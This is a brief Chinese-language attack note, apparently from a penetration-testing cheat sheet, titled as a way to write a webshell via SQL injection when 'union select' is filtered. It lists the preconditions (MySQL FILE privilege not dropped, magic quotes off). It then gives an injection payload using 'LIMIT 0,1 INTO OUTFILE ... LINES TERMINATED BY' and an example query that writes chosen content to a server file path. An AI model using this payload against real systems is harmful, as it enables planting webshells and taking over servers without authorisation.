满足条件

  1. mysql未降权 未关闭file权限

  2. gpc关闭


LIMIT 0,1 INTO OUTFILE '这里是路径' LINES TERMINATED BY '这里是你想写的内容'--


SELECT * FROM `user` where  user='root' LIMIT 0,1 INTO OUTFILE 'D:/xxxxx/demo.txt' LINES TERMINATED BY 'demo';


过滤union select  写webshell_where